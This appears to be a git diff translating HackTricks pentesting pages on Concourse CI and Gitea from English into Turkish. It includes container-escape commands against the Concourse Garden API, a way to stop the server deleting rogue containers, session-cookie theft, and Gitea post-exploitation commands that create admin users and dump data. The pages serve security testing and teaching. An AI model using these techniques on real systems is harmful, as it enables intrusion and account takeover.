ile Web'e kimlik doğruladığında, web sunucusunun her işçi içindeki her Garden hizmeti ile **konuşabilmesi için** bir tünel oluşturuluyor. +- Web sunucusu, **çalışan konteynerleri her birkaç saniyede bir izliyor** ve **beklenmeyen** konteynerler **siliniyor**. Bu nedenle, **özel bir konteyner çalıştırmak** istiyorsanız, web sunucusu ile garden hizmeti arasındaki **iletişimi** **değiştirmeniz** gerekiyor. +Concourse işçileri yüksek konteyner ayrıcalıklarıyla çalışır: ``` Container Runtime: docker Has Namespaces: - pid: true - user: false +pid: true +user: false AppArmor Profile: kernel Capabilities: - BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read +BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read Seccomp: disabled ``` - -However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated. +Ancak, **mounting** tekniği gibi /dev cihazını veya release_agent **çalışmaz** (çünkü düğümün dosya sistemi ile gerçek cihaz erişilebilir değil, sadece sanal bir tane var). Düğümün süreçlerine erişemiyoruz, bu nedenle çekirdek istismarları olmadan düğümden kaçmak karmaşık hale geliyor. > [!NOTE] -> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**. +> Önceki bölümde ayrıcalıklı bir konteynerden nasıl kaçılacağını gördük, bu nedenle **current** **worker** tarafından oluşturulan bir **privileged container** içinde **komutlar** **çalıştırabiliyorsak**, **düğüme kaçabiliriz**. -Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it. - -**Getting inside a running privileged container** +Concourse ile oynarken, bir şey çalıştırmak için yeni bir konteyner oluşturulduğunda, konteyner süreçlerinin işçi konteynerinden erişilebilir olduğunu fark ettim, bu nedenle bir konteynerin içinde yeni bir konteyner oluşturması gibi. +**Çalışan bir ayrıcalıklı konteynere girmek** ```bash # Get current container curl 127.0.0.1:7777/containers @@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties # Execute a new process inside a container ## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53 wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' # OR instead of doing all of that, you could just get into the ns of the process of the privileged container nsenter --target 76011 --mount --uts --ipc --net --pid -- sh ``` +**Yeni bir ayrıcalıklı konteyner oluşturma** -**Creating a new privileged container** - -You can very easily create a new container (just run a random UID) and execute something on it: - +Yeni bir konteyner oluşturmak çok kolaydır (rastgele bir UID çalıştırın) ve üzerinde bir şey çalıştırabilirsiniz: ```bash curl -X POST http://127.0.0.1:7777/containers \ - -H 'Content-Type: application/json' \ - -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' +-H 'Content-Type: application/json' \ +-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}' # Wget will be stucked there as long as the process is being executed wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \ - --header='Content-Type:application/json' \ - 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' +--header='Content-Type:application/json' \ +'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes' ``` - -However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers: - +Ancak, web sunucusu her birkaç saniyede bir çalışan konteynerleri kontrol ediyor ve eğer beklenmedik bir tane keşfedilirse, silinecektir. İletişim HTTP üzerinden gerçekleştiği için, beklenmedik konteynerlerin silinmesini önlemek için iletişimi değiştirebilirsiniz: ``` GET /containers HTTP/1.1. Host: 127.0.0.1:7777. @@ -434,13 +409,8 @@ Host: 127.0.0.1:7777. User-Agent: Go-http-client/1.1. Accept-Encoding: gzip. ``` - -## References +## Referanslar - https://concourse-ci.org/vars.html {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md index 0cc6363a7..b4e188d10 100644 --- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md +++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md @@ -1,26 +1,23 @@ -# Concourse Lab Creation +# Concourse Laboratuvarı Oluşturma {{#include ../../banners/hacktricks-training.md}} -## Testing Environment +## Test Ortamı -### Running Concourse +### Concourse'u Çalıştırma -#### With Docker-Compose - -This docker-compose file simplifies the installation to do some tests with concourse: +#### Docker-Compose ile +Bu docker-compose dosyası, concourse ile bazı testler yapmak için kurulumu basitleştirir: ```bash wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml docker-compose up -d ``` +`fly` komut satırını işletim sisteminiz için `127.0.0.1:8080` adresinden indirebilirsiniz. -You can download the command line `fly` for your OS from the web in `127.0.0.1:8080` - -#### With Kubernetes (Recommended) - -You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart). +#### Kubernetes ile (Tavsiye Edilir) +**Kubernetes** (örneğin **minikube** içinde) kullanarak concourse'u kolayca dağıtabilirsiniz: [**concourse-chart**](https://github.com/concourse/concourse-chart). ```bash brew install helm helm repo add concourse https://concourse-charts.storage.googleapis.com/ @@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse # If you need to delete it helm delete concourse-release ``` - -After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets: - +Concourse ortamını oluşturduktan sonra, bir gizli anahtar oluşturabilir ve concourse web'de çalışan SA'ya K8s gizli anahtarlarına erişim verebilirsiniz: ```yaml echo 'apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: - name: read-secrets +name: read-secrets rules: - apiGroups: [""] - resources: ["secrets"] - verbs: ["get"] +resources: ["secrets"] +verbs: ["get"] --- apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: - name: read-secrets-concourse +name: read-secrets-concourse roleRef: - apiGroup: rbac.authorization.k8s.io - kind: ClusterRole - name: read-secrets +apiGroup: rbac.authorization.k8s.io +kind: ClusterRole +name: read-secrets subjects: - kind: ServiceAccount - name: concourse-release-web - namespace: default +name: concourse-release-web +namespace: default --- apiVersion: v1 kind: Secret metadata: - name: super - namespace: concourse-release-main +name: super +namespace: concourse-release-main type: Opaque data: - secret: MWYyZDFlMmU2N2Rm +secret: MWYyZDFlMmU2N2Rm ' | kubectl apply -f - ``` +### Pipeline Oluştur -### Create Pipeline +Bir pipeline, sıralı bir [Jobs](https://concourse-ci.org/jobs.html) listesi ile yapılır ve bu liste bir [Steps](https://concourse-ci.org/steps.html) listesi içerir. -A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html). +### Adımlar -### Steps +Birçok farklı türde adım kullanılabilir: -Several different type of steps can be used: +- **the** [**`task` adımı**](https://concourse-ci.org/task-step.html) **bir** [**görev**](https://concourse-ci.org/tasks.html) **çalıştırır** +- [`get` adımı](https://concourse-ci.org/get-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) alır +- [`put` adımı](https://concourse-ci.org/put-step.html) bir [kaynağı](https://concourse-ci.org/resources.html) günceller +- [`set_pipeline` adımı](https://concourse-ci.org/set-pipeline-step.html) bir [pipeline'ı](https://concourse-ci.org/pipelines.html) yapılandırır +- [`load_var` adımı](https://concourse-ci.org/load-var-step.html) bir değeri [yerel bir değişkene](https://concourse-ci.org/vars.html#local-vars) yükler +- [`in_parallel` adımı](https://concourse-ci.org/in-parallel-step.html) adımları paralel olarak çalıştırır +- [`do` adımı](https://concourse-ci.org/do-step.html) adımları sırayla çalıştırır +- [`across` adım modifikasyonu](https://concourse-ci.org/across-step.html#schema.across) bir adımı birden fazla kez çalıştırır; her bir değişken değeri kombinasyonu için bir kez +- [`try` adımı](https://concourse-ci.org/try-step.html) bir adımı çalıştırmayı dener ve adım başarısız olsa bile başarılı olur -- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html) -- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html) -- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html) -- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html) -- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars) -- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel -- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence -- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values -- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails +Her [adım](https://concourse-ci.org/steps.html) bir [iş planında](https://concourse-ci.org/jobs.html#schema.job.plan) **kendi konteynerinde** çalışır. Konteynerin içinde istediğiniz her şeyi çalıştırabilirsiniz _(yani testlerimi çalıştır, bu bash betiğini çalıştır, bu görüntüyü oluştur, vb.)_. Dolayısıyla, beş adımı olan bir işiniz varsa, Concourse her adım için bir tane olmak üzere beş konteyner oluşturacaktır. -Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step. - -Therefore, it's possible to indicate the type of container each step needs to be run in. - -### Simple Pipeline Example +Bu nedenle, her adımın çalıştırılması gereken konteyner türünü belirtmek mümkündür. +### Basit Pipeline Örneği ```yaml jobs: - - name: simple - plan: - - task: simple-task - privileged: true - config: - # Tells Concourse which type of worker this task should run on - platform: linux - image_resource: - type: registry-image - source: - repository: busybox # images are pulled from docker hub by default - run: - path: sh - args: - - -cx - - | - sleep 1000 - echo "$SUPER_SECRET" - params: - SUPER_SECRET: ((super.secret)) +- name: simple +plan: +- task: simple-task +privileged: true +config: +# Tells Concourse which type of worker this task should run on +platform: linux +image_resource: +type: registry-image +source: +repository: busybox # images are pulled from docker hub by default +run: +path: sh +args: +- -cx +- | +sleep 1000 +echo "$SUPER_SECRET" +params: +SUPER_SECRET: ((super.secret)) ``` ```bash @@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch # From another console fly -t tutorial intercept --job pipe-name/simple ``` - Check **127.0.0.1:8080** to see the pipeline flow. ### Bash script with output/input pipeline -It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**. +Bir görevin **sonuçlarını bir dosyada kaydetmek** ve bunun bir çıktı olduğunu belirtmek mümkündür, ardından bir sonraki görevin girişi olarak önceki görevin çıktısını belirtmek mümkündür. Concourse'un yaptığı şey, **önceki görevin dizinini yeni görevde monte etmek ve önceki görev tarafından oluşturulan dosyalara erişmektir**. ### Triggers -You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time: +Görevleri her seferinde manuel olarak tetiklemek zorunda değilsiniz, her seferinde çalışacak şekilde programlayabilirsiniz: -- Some time passes: [Time resource](https://github.com/concourse/time-resource/) -- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource) -- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) -- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/) +- Bir süre geçtikten sonra: [Time resource](https://github.com/concourse/time-resource/) +- Ana dalda yeni commitler olduğunda: [Git resource](https://github.com/concourse/git-resource) +- Yeni PR'ler: [Github-PR resource](https://github.com/telia-oss/github-pr-resource) +- Uygulamanızın en son görüntüsünü almak veya göndermek: [Registry-image resource](https://github.com/concourse/registry-image-resource/) -Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) +Ana dalda yeni commitler tetikleyen bir YAML pipeline örneğini [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html) adresinde kontrol edin. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md index bf4f6485a..aa163bb26 100644 --- a/src/pentesting-ci-cd/gitea-security/README.md +++ b/src/pentesting-ci-cd/gitea-security/README.md @@ -1,142 +1,130 @@ -# Gitea Security +# Gitea Güvenliği {{#include ../../banners/hacktricks-training.md}} -## What is Gitea +## Gitea Nedir -**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go. +**Gitea**, Go dilinde yazılmış **kendinize ait, topluluk tarafından yönetilen hafif bir kod barındırma** çözümüdür. ![](<../../images/image (160).png>) -### Basic Information +### Temel Bilgiler {{#ref}} basic-gitea-information.md {{#endref}} -## Lab - -To run a Gitea instance locally you can just run a docker container: +## Laboratuvar +Yerel olarak bir Gitea örneği çalıştırmak için sadece bir docker konteyneri çalıştırabilirsiniz: ```bash docker run -p 3000:3000 gitea/gitea ``` +Port 3000'e bağlanarak web sayfasına erişebilirsiniz. -Connect to port 3000 to access the web page. - -You could also run it with kubernetes: - +Ayrıca bunu kubernetes ile çalıştırabilirsiniz: ``` helm repo add gitea-charts https://dl.gitea.io/charts/ helm install gitea gitea-charts/gitea ``` +## Kimlik Doğrulaması Olmadan Sıralama -## Unauthenticated Enumeration +- Kamu reposu: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) +- Kayıtlı kullanıcılar: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) +- Kayıtlı Organizasyonlar: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) -- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos) -- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users) -- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations) +**Varsayılan olarak Gitea yeni kullanıcıların kayıt olmasına izin verir.** Bu, yeni kullanıcılara diğer organizasyonlar/kullanıcılar reposu üzerinde özel bir erişim sağlamaz, ancak **giriş yapmış bir kullanıcı** daha fazla **repo veya organizasyonu görüntüleyebilir.** -Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**. +## Dahili Sömürü -## Internal Exploitation +Bu senaryo için bir github hesabına erişim sağladığınızı varsayacağız. -For this scenario we are going to suppose that you have obtained some access to a github account. +### Kullanıcı Kimlik Bilgileri/Web Çerezi ile -### With User Credentials/Web Cookie +Eğer bir şekilde bir organizasyondaki bir kullanıcı için kimlik bilgilerine sahipseniz (veya bir oturum çerezini çaldıysanız) **sadece giriş yapabilir** ve hangi **izinlere sahip olduğunuzu**, hangi **repo'larda** bulunduğunuzu, **diğer kullanıcıları listeleyebilir** ve **repo'ların nasıl korunduğunu** kontrol edebilirsiniz. -If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.** - -Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**. +**2FA kullanılabileceğini** unutmayın, bu nedenle bu bilgilere yalnızca **o kontrolü geçebiliyorsanız** erişebilirsiniz. > [!NOTE] -> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA. +> Eğer **`i_like_gitea` çerezini çalmayı başarırsanız** (şu anda SameSite: Lax ile yapılandırılmıştır) kimlik bilgilerine veya 2FA'ya ihtiyaç duymadan **kullanıcıyı tamamen taklit edebilirsiniz.** -### With User SSH Key +### Kullanıcı SSH Anahtarı ile -Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied). - -With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to: +Gitea, **kullanıcıların** kendi adlarına kod dağıtmak için **kimlik doğrulama yöntemi olarak kullanılacak SSH anahtarları** ayarlamalarına izin verir (2FA uygulanmaz). +Bu anahtar ile kullanıcının bazı ayrıcalıklara sahip olduğu **repo'larda değişiklikler yapabilirsiniz**, ancak gitea api'sine erişmek için kullanamazsınız. Ancak, erişiminiz olan repo ve kullanıcı hakkında bilgi almak için **yerel ayarları sıralayabilirsiniz:** ```bash # Go to the the repository folder # Get repo config and current user name and email git config --list ``` +Eğer kullanıcı adını gitea kullanıcı adı olarak yapılandırmışsa, hesabında ayarladığı **açık anahtarları** _https://github.com/\.keys_ adresinden erişebilirsiniz, bulduğunuz özel anahtarın kullanılabilir olduğunu doğrulamak için bunu kontrol edebilirsiniz. -If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used. +**SSH anahtarları** ayrıca **dağıtım anahtarları** olarak depolarda ayarlanabilir. Bu anahtara erişimi olan herkes **bir depodan projeleri başlatabilecektir**. Genellikle farklı dağıtım anahtarlarına sahip bir sunucuda, yerel dosya **`~/.ssh/config`** hangi anahtarın ilgili olduğu hakkında bilgi verecektir. -**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related. +#### GPG Anahtarları -#### GPG Keys - -As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered. - -Check locally if the current user has any key with: +Açıklandığı gibi [**burada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) bazen taahhütleri imzalamak gerekebilir yoksa keşfedilebilirsiniz. +Mevcut kullanıcının herhangi bir anahtara sahip olup olmadığını yerel olarak kontrol edin: ```shell gpg --list-secret-keys --keyid-format=long ``` +### Kullanıcı Tokeni ile -### With User Token +[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-gitea-information.md#personal-access-tokens) için bir giriş. -For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens). +Bir kullanıcı tokeni, Gitea sunucusuna **şifre yerine** **kimlik doğrulamak** için kullanılabilir [**API aracılığıyla**](https://try.gitea.io/api/swagger#/). Kullanıcının üzerinde **tam erişim** olacaktır. -A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user. +### Oauth Uygulaması ile -### With Oauth Application +[**Gitea Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](./#with-oauth-application) için bir giriş. -For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application). +Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/işlemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir. -An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign. +Temel bilgilerde açıklandığı gibi, uygulama **kullanıcı hesabı üzerinde tam erişime** sahip olacaktır. -As explained in the basic information, the application will have **full access over the user account**. +### Dal Koruma Atlatma -### Branch Protection Bypass +Github'da, varsayılan olarak repo üzerinde **yazma erişimi olan bir token** alan **github actions** bulunmaktadır; bu, **dal korumalarını atlatmak** için kullanılabilir. Bu durumda **mevcut değildir**, bu nedenle atlatmalar daha sınırlıdır. Ancak neler yapılabileceğine bir göz atalım: -In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done: +- **Push'u Etkinleştir**: Yazma erişimi olan herhangi biri dalına push yapabiliyorsa, sadece push yapın. +- **Kısıtlı Push'u Beyaz Listeye Al**: Aynı şekilde, bu listenin bir parçasıysanız dalına push yapın. +- **Birleştirme Beyaz Listesini Etkinleştir**: Eğer birleştirme beyaz listesi varsa, içinde olmanız gerekir. +- **Onay gereksinimi 0'dan büyük**: O zaman... başka bir kullanıcıyı tehlikeye atmanız gerekir. +- **Onayları beyaz listeye kısıtla**: Eğer yalnızca beyaz listedeki kullanıcılar onaylayabiliyorsa... o liste içinde olan başka bir kullanıcıyı tehlikeye atmanız gerekir. +- **Eski onayları geçersiz kıl**: Eğer onaylar yeni commitlerle kaldırılmıyorsa, onaylanmış bir PR'yi ele geçirip kodunuzu ekleyebilir ve PR'yi birleştirebilirsiniz. -- **Enable Push**: If anyone with write access can push to the branch, just push to it. -- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch. -- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it -- **Require approvals is bigger than 0**: Then... you need to compromise another user -- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list -- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR. +**Eğer bir org/repo yöneticisiyseniz** korumaları atlatabileceğinizi unutmayın. -Note that **if you are an org/repo admin** you can bypass the protections. +### Webhook'ları Listele -### Enumerate Webhooks +**Webhook'lar**, **belirli gitea bilgilerini bazı yerlere gönderebilir**. Bu iletişimi **istismar etme** imkanınız olabilir.\ +Ancak genellikle, **webhook** içinde **geri alınamaz** bir **gizli anahtar** ayarlanır; bu, URL'sini bilen ancak gizli anahtarı bilmeyen dış kullanıcıların **o webhook'u istismar etmesini** **önler**.\ +Ancak bazı durumlarda, insanlar **gizli anahtarı** yerinde ayarlamak yerine, **URL'ye** bir parametre olarak ayarlar; bu nedenle **URL'leri kontrol etmek**, **gizli anahtarları bulmanıza** ve daha fazla istismar edebileceğiniz diğer yerleri keşfetmenize olanak tanıyabilir. -**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\ -However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\ -But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further. +Webhook'lar **repo ve org seviyesinde** ayarlanabilir. -Webhooks can be set at **repo and at org level**. +## İstismar Sonrası -## Post Exploitation +### Sunucu İçinde -### Inside the server +Eğer bir şekilde gitea'nın çalıştığı sunucuya girmeyi başardıysanız, gitea yapılandırma dosyasını aramalısınız. Varsayılan olarak `/data/gitea/conf/app.ini` konumundadır. -If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini` +Bu dosyada **anahtarlar** ve **şifreler** bulabilirsiniz. -In this file you can find **keys** and **passwords**. +Gitea yolunda (varsayılan: /data/gitea) ayrıca ilginç bilgiler bulabilirsiniz: -In the gitea path (by default: /data/gitea) you can find also interesting information like: +- **sqlite** DB: Gitea harici bir db kullanmıyorsa, bir sqlite db kullanacaktır. +- **oturumlar** oturumlar klasörü içinde: `cat sessions/*/*/*` komutunu çalıştırarak oturum açmış kullanıcıların kullanıcı adlarını görebilirsiniz (gitea ayrıca oturumları DB içinde de saklayabilir). +- **jwt özel anahtarı** jwt klasörü içinde. +- Bu klasörde daha fazla **hassas bilgi** bulunabilir. -- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db -- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB). -- The **jwt private key** inside the jwt folder -- More **sensitive information** could be found in this folder +Eğer sunucu içindeyseniz, bilgileri erişmek/değiştirmek için **`gitea` ikili dosyasını** de kullanabilirsiniz: -If you are inside the server you can also **use the `gitea` binary** to access/modify information: - -- `gitea dump` will dump gitea and generate a .zip file -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence) -- `gitea admin user change-password --username admin --password newpassword` Change the password -- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token +- `gitea dump` gitea'yı dökerek bir .zip dosyası oluşturur. +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` belirtilen türde bir token oluşturur (kalıcılık). +- `gitea admin user change-password --username admin --password newpassword` Şifreyi değiştirir. +- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Yeni bir yönetici kullanıcı oluşturur ve bir erişim tokeni alır. {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index e6e4d9ba3..e6b87626c 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,104 +4,100 @@ ## Basic Structure -The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization. +Temel Gitea ortam yapısı, **organizasyon(lar)** tarafından reposları gruplandırmaktır; her biri **birkaç depo** ve **birkaç takım** içerebilir. Ancak, github'da olduğu gibi kullanıcıların organizasyon dışında depoları olabileceğini unutmayın. -Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**. +Ayrıca, bir **kullanıcı** **farklı organizasyonların** **üyesi** olabilir. Organizasyon içinde kullanıcı, her depo üzerinde **farklı izinlere** sahip olabilir. -A user may also be **part of different teams** with different permissions over different repos. +Bir kullanıcı ayrıca **farklı takımların** bir parçası olabilir ve farklı depolar üzerinde farklı izinlere sahip olabilir. -And finally **repositories may have special protection mechanisms**. +Ve nihayetinde **depolar özel koruma mekanizmalarına** sahip olabilir. ## Permissions ### Organizations -When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**. +Bir **organizasyon oluşturulduğunda**, **Sahipler** adında bir takım **oluşturulur** ve kullanıcı bu takımın içine yerleştirilir. Bu takım, **organizasyon** üzerinde **yönetici erişimi** verecektir; bu **izinler** ve takımın **adı** **değiştirilemez**. -**Org admins** (owners) can select the **visibility** of the organization: +**Org yöneticileri** (sahipler) organizasyonun **görünürlüğünü** seçebilir: -- Public -- Limited (logged in users only) -- Private (members only) +- Genel +- Sınırlı (sadece giriş yapmış kullanıcılar) +- Özel (sadece üyeler) -**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos. +**Org yöneticileri**, **repo yöneticilerinin** takımlara **erişim ekleyip veya kaldırıp kaldıramayacağını** da belirtebilir. Ayrıca, maksimum depo sayısını da belirtebilirler. -When creating a new team, several important settings are selected: +Yeni bir takım oluştururken, birkaç önemli ayar seçilir: -- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all. -- It's also indicated **if members can create new repos** (creator will get admin access to it) -- The **permissions** the **members** of the repo will **have**: - - **Administrator** access - - **Specific** access: +- Takım üyelerinin erişebileceği **organizasyonun depoları** belirtilir: belirli depolar (takımın eklendiği depolar) veya hepsi. +- Ayrıca, **üyelerin yeni depolar oluşturup oluşturamayacağı** belirtilir (oluşturucu buna yönetici erişimi alır). +- Depo **üyelerinin sahip olacağı izinler**: +- **Yönetici** erişimi +- **Belirli** 